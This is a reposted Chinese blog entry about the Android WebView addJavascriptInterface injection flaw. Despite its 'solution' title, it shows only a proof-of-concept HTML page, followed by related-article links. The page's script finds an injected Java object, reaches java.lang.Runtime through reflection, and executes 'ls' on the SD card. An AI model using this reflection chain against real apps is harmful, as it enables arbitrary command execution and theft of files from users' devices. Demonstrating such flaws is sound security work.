Android WebView的Js对象注入漏洞解决方案
2016-05-19 13:22
537 查看
http://blog.csdn.net/leehong2005/article/details/11808557/
webview调用以下文件,就可以打印sdcard 文件名
webview调用以下文件,就可以打印sdcard 文件名
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title> new document </title> <script > var i=0; function getContents(inputStream) { var contents = ""+i; var b = inputStream.read(); var i = 1; while(b != -1) { var bString = String.fromCharCode(b); contents += bString; contents += "\n" b = inputStream.read(); } i=i+1; return contents; } function execute(cmdArgs){ for (var obj in window) { console.log(obj); if(window[obj]!=null) if ("getClass" in window[obj]) { console.log("come to here"); //alert(obj);. return window[obj].getClass().forName("java.lang.Runtime"). getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs); } } } var p = execute(["ls","/mnt/sdcard/"]); console.log("come to here 2"); document.write(getContents(p.getInputStream())); </script> <meta name="generator" content="editplus" /> <meta name="author" content="" /> <meta name="keywords" content="" /> <meta name="description" content="" /> </head> <body> </body> </html>
相关文章推荐
- Android——BaseAdapter相关
- Android开发资料
- 打开SDKManager提示failed to execute tools\android.bat
- Android ORM 框架之 greenDAO 使用
- Android学习笔记二十七:连接Wifi
- Android4.4 以太网和DHCP启动过程介绍
- Android开发笔记(一百零二)统计图表
- Android更改语言模式
- Android开发Handler源码分析
- Android Studio常用快捷键一览
- Android N变化简介——Google 2016 I/O大会
- AndroidJNI 通过C++调用JAVA
- android自定义吐司的使用
- Android Drawable Resources系列3:<layer-list>
- Android Studio快捷键
- Android 关于系统Context.getSystemService(String arg0)获取系统服务的详细剖析-getSystemService
- Android中allowBackup属性的含义和危险性实例讲解
- Android中Fragment数据保存和恢复
- Android学习路线
- Android studio